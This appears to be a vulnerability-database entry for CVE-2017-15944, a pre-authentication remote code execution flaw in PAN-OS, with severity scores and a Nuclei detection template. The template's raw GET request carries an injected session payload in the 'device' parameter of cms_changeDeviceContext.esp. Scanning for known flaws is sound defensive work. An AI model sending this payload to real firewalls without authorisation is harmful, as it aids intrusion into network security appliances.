Palo Alto Network PAN-OS - Remote Code Execution

2021-06-1820:45:44

ProjectDiscovery

github.com

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.973 High

EPSS

Percentile

99.9%

JSON

Palo Alto Network PAN-OS and Panorama before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface.

id: CVE-2017-15944

info:
  name: Palo Alto Network PAN-OS - Remote Code Execution
  author: emadshanab,milo2012
  severity: critical
  description: Palo Alto Network PAN-OS and Panorama before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches and updates provided by Palo Alto Networks.
  reference:
    - https://www.exploit-db.com/exploits/43342
    - https://security.paloaltonetworks.com/CVE-2017-15944
    - http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15944
    - http://www.securitytracker.com/id/1040007
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-15944
    epss-score: 0.97314
    epss-percentile: 0.99866
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: paloaltonetworks
    product: pan-os
  tags: cve2017,cve,kev,edb,rce,vpn,panos,globalprotect,paloaltonetworks

http:
  - raw:
      - |
        GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337"; HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{randstr}};

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "@start@Success@end@"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e0ebb82c78017bace95bb6bdbbd956c0ceefa723b30e23eaf66e133c3671020b02201e43c7c0e0a433896c4df5cfcc72d35bc21c5ead69bbb1c20e4903dc8d6705a1:922c64590222798bb761d5b6d8e72950